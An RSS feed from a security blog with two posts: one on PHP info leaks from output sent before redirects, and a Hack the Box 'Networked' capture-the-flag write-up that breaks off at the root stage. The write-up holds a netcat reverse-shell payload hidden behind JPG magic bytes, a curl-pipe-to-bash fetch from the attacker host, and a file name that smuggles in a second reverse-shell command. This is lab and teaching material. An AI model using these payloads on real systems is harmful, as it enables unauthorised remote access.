<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>PHP on David Hamann</title><link>https://davidhamann.de/tags/php/</link><description>Recent content in PHP on David Hamann</description><generator>Hugo</generator><language>en</language><copyright>&amp;copy; David Hamann</copyright><lastBuildDate>Mon, 21 Feb 2022 00:00:00 +0000</lastBuildDate><atom:link href="https://davidhamann.de/tags/php/feed.xml" rel="self" type="application/rss+xml"/><item><title>Info leaks via buffered output on HTTP redirects</title><link>https://davidhamann.de/2022/02/21/info-leak-php-redirect/</link><pubDate>Mon, 21 Feb 2022 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2022/02/21/info-leak-php-redirect/</guid><description>&lt;p&gt;Writing data to the output buffer before deciding that the response to the current HTTP request should actually be a redirect (for example when an unauthenticated user is not allowed to access some content) is an issue not exclusive to PHP but a relatively easy mistake to make in this environment.&lt;/p&gt;
&lt;p&gt;After not having been exposed to PHP in quite a while I recently did a security assessment of a PHP application again. During the test this exact issue popped up again, so I want to give a short description on how and why this can lead to information leaks.&lt;/p&gt;
&lt;p&gt;Consider the following two files:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;index.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?php

$logged_in = false;

echo &amp;#39;Here is some content that only logged-in users should see&amp;#39;;

/* ... */

if (!$logged_in) {
 header(&amp;#39;Location: /login.php&amp;#39;);
}

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;login.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?php

echo &amp;#39;Here is the login page&amp;#39;;

?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When requesting &lt;code&gt;index.php&lt;/code&gt; with your browser, you would usually only see the output of &lt;code&gt;login.php&lt;/code&gt;, as the first response from &lt;code&gt;index.php&lt;/code&gt; includes a 302 status code and a &lt;code&gt;Location&lt;/code&gt; header indicating a redirect to &lt;code&gt;/login.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However, if you were to inspect the body of the first response, you &lt;em&gt;would&lt;/em&gt; see the contents that &lt;code&gt;index.php&lt;/code&gt; produced as they were already written into the output buffer when the HTTP response was sent:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Looking at the 302 response" loading="lazy" src="https://davidhamann.de/images/php-redirect.png"&gt;&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 Unfortunately, the response data of redirections is not shown in Firefox&amp;rsquo;s developer tools (&amp;ldquo;No response data available for this request&amp;rdquo;), so the way you usally identify these issues is to have a proxy running while browsing (e.g. Burp Suite).
&lt;/div&gt;

&lt;h2 id="whats-the-issue"&gt;What&amp;rsquo;s the issue?&lt;/h2&gt;
&lt;p&gt;As you may have already guessed, the issue is that content that is not supposed to reach the client &lt;em&gt;is&lt;/em&gt; actually sent to it. This can either happen because the script places data into the output buffer before it calls &lt;code&gt;header()&lt;/code&gt; (as in the example above) or that it doesn&amp;rsquo;t terminate after setting the &lt;code&gt;Location&lt;/code&gt; header and produces even more output.&lt;/p&gt;
&lt;p&gt;Changing the order of &lt;code&gt;echo&lt;/code&gt; and &lt;code&gt;header&lt;/code&gt; in the example above would not fix the issue if the &lt;code&gt;header()&lt;/code&gt; is not also followed by a termination of the script (e.g. with &lt;code&gt;exit&lt;/code&gt; or &lt;code&gt;die()&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;During my penetration test it was a relatively simple case of just trying to access another user&amp;rsquo;s data by modifying a parameter in the query string. Even though the application&amp;rsquo;s behaviour looked right (redirect to another page) when viewed through a browser, and the developers did properly check the access rights in the code, the data from another user was still being leaked in the response body of the 302 redirect.&lt;/p&gt;
&lt;h2 id="how-can-you-modify-headers-after-output-is-sent"&gt;How can you modify headers after output is sent?&lt;/h2&gt;
&lt;p&gt;You might be wondering how you can even set a header after (part of) a response body has already been sent. Obviously, you can&amp;rsquo;t.&lt;/p&gt;
&lt;p&gt;Looking at &lt;a href="https://www.php.net/manual/en/function.header.php"&gt;PHP&amp;rsquo;s documentation&lt;/a&gt; for &lt;code&gt;header()&lt;/code&gt; we can read:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In the small example above the output is not actually sent before the header, but rather buffered before being sent. So as long as your output doesn&amp;rsquo;t exceed the buffer size you will get the behavior described and won&amp;rsquo;t experience any warning. The output buffer behavior (and size) can also be &lt;a href="https://www.php.net/manual/en/outcontrol.configuration.php#ini.output-buffering"&gt;configured via &lt;code&gt;php.ini&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can verify this by increasing the amount of output you produce before trying to set a header. Exceeding the buffer size, you will get the warning &lt;code&gt;PHP Warning: Cannot modify header information - headers already sent by...&lt;/code&gt; and the redirect stops working (as you obviously cannot set the &lt;code&gt;Location&lt;/code&gt; header after output has already been sent).&lt;/p&gt;
&lt;p&gt;Note, though, that if you have the order right (first &lt;code&gt;header()&lt;/code&gt;, then your response body) but you forget the termination of the script, you will still have the issue but never get any warning as nothing technically forbids you to have a large body in a redirect response.&lt;/p&gt;
&lt;h2 id="how-to-detect"&gt;How to detect&lt;/h2&gt;
&lt;p&gt;The easiest way to spot this issue during dynamic analysis is by recording your HTTP requests, then sorting them by status code and looking at the response length. Large response sizes for redirection responses will generally show you that something is off and worth looking into.&lt;/p&gt;
&lt;p&gt;Besides recording your manual browsing it also makes sense to look at the response sizes when you&amp;rsquo;re doing any kind of directory/file brute-forcing and don&amp;rsquo;t have access to the source code. Seeing an output like the following (gobuster example) would be a good reason to further look into the actual response data:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;/index.php (Status: 302) [Size: 4091] [--&amp;gt; /login.php] # large
/test.php (Status: 302) [Size: 0] [--&amp;gt; login.php] # normal
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Hack the Box Write-up #2: Networked</title><link>https://davidhamann.de/2019/12/04/htb-writeup-networked/</link><pubDate>Wed, 04 Dec 2019 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2019/12/04/htb-writeup-networked/</guid><description>&lt;p&gt;In today&amp;rsquo;s write-up we&amp;rsquo;re looking at &amp;ldquo;Networked&amp;rdquo;, another &lt;a href="https://hackthebox.eu"&gt;Hack the Box&lt;/a&gt; machine rated as &lt;em&gt;easy&lt;/em&gt;. We&amp;rsquo;ll start by finding relevant files via a directory brute-forcer, go on to read some PHP code and then exploiting a file upload feature. Command injection through a file name gives us a proper user shell, and in a second step, through network-scripts, a root shell. Enjoy!&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;p&gt;We start with an nmap scan, just like in the last write-up, and see just two ports open:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ nmap -sV -sC -oN nmap/init 10.10.10.146

PORT STATE SERVICE VERSION
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Manually inspecting the site on port 80, all we see is a static HTML page, providing two hints in the source code:&lt;/p&gt;
&lt;p&gt;&lt;img alt="HTML source" loading="lazy" src="https://davidhamann.de/images/networked-html-source.png"&gt;&lt;/p&gt;
&lt;p&gt;We could try to manually guess some directory and or file names (like &lt;code&gt;upload&lt;/code&gt;, &lt;code&gt;uploads&lt;/code&gt; or &lt;code&gt;gallery&lt;/code&gt;). Since we know PHP is running (from the banner), &lt;code&gt;upload.php&lt;/code&gt; is an easy find.&lt;/p&gt;
&lt;p&gt;To not miss anything, though, we&amp;rsquo;re still going to run a directory brute-force in the background while further inspecting the upload form.&lt;/p&gt;
&lt;p&gt;I really like using &lt;a href="https://github.com/OJ/gobuster"&gt;gobuster&lt;/a&gt;, so let&amp;rsquo;s use that and give it the small directory dictionary from dirbuster, combined with a search for the &lt;code&gt;.php&lt;/code&gt; extension.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://10.10.10.146 -x php

/index.php (Status: 200)
/uploads (Status: 301)
/photos.php (Status: 200)
/upload.php (Status: 200)
/lib.php (Status: 200)
/backup (Status: 301)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can upload &amp;ldquo;normal&amp;rdquo; image files (always try the &amp;ldquo;happy path&amp;rdquo; first!), but don&amp;rsquo;t immediately see where they are accessible after upload. Trying to upload a PHP file to get remote code execution leads to &lt;code&gt;Invalid image file.&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Looking at the background reconnaissance job, however, we can see multiple interesting findings.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Going to &lt;code&gt;/photos.php&lt;/code&gt;, we can see our uploaded image&lt;/li&gt;
&lt;li&gt;Going to &lt;code&gt;/backup&lt;/code&gt;, we can see a tar file of a website backup including all source files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Image upload" loading="lazy" src="https://davidhamann.de/images/networked-photos.png"&gt;&lt;/p&gt;
&lt;p&gt;Having access to the source will make life much easier, so let&amp;rsquo;s have a look and see if we can find a way around the image file type limitation on the upload.&lt;/p&gt;
&lt;p&gt;Untar the file archive &lt;code&gt;tar xvf backup.tar&lt;/code&gt;, then skim through it with &lt;code&gt;less *&lt;/code&gt; (navigate with &lt;code&gt;:p&lt;/code&gt; and &lt;code&gt;:n&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Switching to &lt;code&gt;upload.php&lt;/code&gt;, there are a few things that could be interesting. I highlighted them in yellow.&lt;/p&gt;
&lt;p&gt;&lt;img alt="PHP code analysis" loading="lazy" src="https://davidhamann.de/images/networked-code-analysis.png"&gt;&lt;/p&gt;
&lt;p&gt;Our main focus should be the &lt;code&gt;check_file_type&lt;/code&gt; function, but also note the missing dot in one error message which could have been helpful in case we wouldn&amp;rsquo;t have access to the source code. Allowed extensions, target directory and permissions are also worth noting.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;check_file_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$mime_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;file_mime_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strpos&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$mime_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;image/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To circumvent this check we would need our malicious file to return an image mime type when checked by &lt;code&gt;file_mime_type&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;file_mime_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$regexp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;function_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;finfo_file&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$finfo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;finfo_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;FILEINFO_MIME&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;is_resource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$finfo&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="c1"&gt;// It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$mime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nx"&gt;finfo_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$finfo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;finfo_close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$finfo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;is_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$mime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$regexp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$mime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$file_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$matches&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$file_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;function_exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mime_content_type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;$file_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nx"&gt;mime_content_type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$file_type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// It&amp;#39;s possible that mime_content_type() returns FALSE or an empty string
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$file_type&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What the PHP functions are essentially doing (if available), is a check for the &lt;a href="https://en.wikipedia.org/wiki/List_of_file_signatures"&gt;&amp;ldquo;magic bytes&amp;rdquo;&lt;/a&gt;, a signature in the beginning of the file, to determine the mime type.&lt;/p&gt;
&lt;h2 id="exploitation-first-foothold"&gt;Exploitation (first foothold)&lt;/h2&gt;
&lt;p&gt;So what if we put the file signature of a JPG file at the top of a PHP file? Would the PHP code still be executed?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# write magic bytes into a new file
echo -e &amp;#39;\xff\xd8\xff\xdb&amp;#39; &amp;gt; fake.php.jpg

# open file to add php code
vim fake.php.jpg

# add PHP code to execute netcat to connect to us
# (or any other code you&amp;#39;d like to execute. For a bit of obfuscation of what
# you did, you could also take the command as a GET argument)
&amp;lt;?php system(&amp;#39;nc 10.10.14.19 9090 -e /bin/bash&amp;#39;); ?&amp;gt;

# start our listener
nc -lvnp 9090
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Uploading &lt;code&gt;fake.php.jpg&lt;/code&gt; triggers no more file type errors as we have a valid JPG signature and a jpg extension. And visiting &lt;code&gt;/photos.php&lt;/code&gt; successfully executes our payload:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Ncat: Listening on :::9090
Ncat: Listening on 0.0.0.0:9090
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:45262.
id
uid=48(apache) gid=48(apache) groups=48(apache)
&lt;/code&gt;&lt;/pre&gt;&lt;div class="notice notice-info"&gt;
 This is not only an issue with the code but also the PHP configuration (in &lt;code&gt;/etc/httpd/conf.d/php.conf&lt;/code&gt;), which is set to interpret files that have &amp;ldquo;.php&amp;rdquo; anywhere in them, not just as an extension. A file named &lt;code&gt;something.php.somethingelse&lt;/code&gt; would thus also be given to the PHP interpreter.
&lt;/div&gt;

&lt;h2 id="enumeration-and-exploitation-user"&gt;Enumeration and Exploitation (user)&lt;/h2&gt;
&lt;p&gt;Now that we have a low-priv apache shell, we can start enumerating things to escalate our privileges.&lt;/p&gt;
&lt;p&gt;A nice way of automatically getting an overview of the system is to run &lt;a href="https://github.com/rebootuser/LinEnum"&gt;LinEnum&lt;/a&gt;. We can serve it from our attacker machine via Python and pipe the script directly into bash.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# start a webserver on attacker machine
python3 -m http.server 8000

# in low priv shell
curl http://10.10.14.19:8000/LinEnum.sh | bash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Going through the results, what catches the eye immediately are these two (world-readable!) files.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;[-] World-readable files within /home:
[...]
-r--r--r--. 1 root root 782 Oct 30 2018 /home/guly/check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 /home/guly/crontab.guly
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We cannot modify the PHP script directly, but having a look at &lt;code&gt;check_attack.php&lt;/code&gt;, we notice two &lt;code&gt;exec&lt;/code&gt; calls, one of them we might be able to control:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;exec(&amp;#34;rm -f $logpath&amp;#34;);
exec(&amp;#34;nohup /bin/rm -f $path$value &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;#34;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;$logpath&lt;/code&gt; and &lt;code&gt;$path&lt;/code&gt; are set at the beginning of the script, but &lt;code&gt;$value&lt;/code&gt; is determined by the filename, which we can control.&lt;/p&gt;
&lt;p&gt;The idea is now to create a file in &lt;code&gt;/var/www/html/uploads/&lt;/code&gt; that has a valid additional command in its filename (and is an &amp;ldquo;attack attempt&amp;rdquo; as defined by the script), so that we end up with an &lt;code&gt;exec&lt;/code&gt; like this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;nohup /bin/rm -f /var/www/html/uploads/&lt;/code&gt; &amp;ndash;&amp;gt; &lt;code&gt;something; nc 10.10.14.19 9091 -e /bin/bash&lt;/code&gt; &amp;lt;&amp;ndash; &lt;code&gt;&amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We have one problem, though. Naming a file &lt;code&gt;something; nc 10.10.14.19 9091 -e /bin/bash&lt;/code&gt; might not work because of the slashes.&lt;/p&gt;
&lt;p&gt;To work around that we can look for environment variables with slashes in them and then use the &lt;a href="https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html"&gt;parameter expansion&lt;/a&gt; functionality in bash (&lt;code&gt;${parameter:offset:length}&lt;/code&gt;) to just extract the slash. Using &lt;code&gt;env&lt;/code&gt; we can see environment variables; as expected PATH is set and contains slashes, so let&amp;rsquo;s use it. &lt;code&gt;${PATH:0:1}bin${PATH:0:1}bash&lt;/code&gt; will give us &lt;code&gt;/bin/bash&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now let&amp;rsquo;s start another netcat listener and then create our file:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# on attacker machine
nc -lvnp 9091

# on remote machine
touch /var/www/html/uploads/&amp;#39;something; nc 10.10.14.19 9091 -e ${PATH:0:1}bin${PATH:0:1}bash&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="command injection" loading="lazy" src="https://davidhamann.de/images/networked-command-injection-in-file.png"&gt;&lt;/p&gt;
&lt;p&gt;After about 3 minutes (because of the cron &lt;code&gt;*/3 * * * * php /home/guly/check_attack.php&lt;/code&gt; as defined in &lt;code&gt;crontab.guly&lt;/code&gt;), we see that the remote machine connected back to our listener and we&amp;rsquo;re now user &lt;code&gt;guly&lt;/code&gt;. Good!&lt;/p&gt;
&lt;p&gt;&lt;img alt="guly shell" loading="lazy" src="https://davidhamann.de/images/networked-guly-shell.png"&gt;&lt;/p&gt;
&lt;h2 id="enumeration-and-exploitation-root"&gt;Enumeration and Exploitation (root)&lt;/h2&gt;
&lt;p&gt;One of the first manual checks I do is to see if the user can &lt;code&gt;sudo&lt;/code&gt; anything without credentials. In this case it can:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ sudo -l
[...]
User guly may run the following commands on networked:
 (root) NOPASSWD: /usr/local/sbin/changename.sh
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Without running LinEnum.sh again, we can straight dive into inspecting this shell script.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash -p
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&lt;/span&gt;cat &amp;gt; /etc/sysconfig/network-scripts/ifcfg-guly &lt;span class="s"&gt;&amp;lt;&amp;lt; EoF
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;DEVICE=guly0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;ONBOOT=no
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;NM_CONTROLLED=no
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EoF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
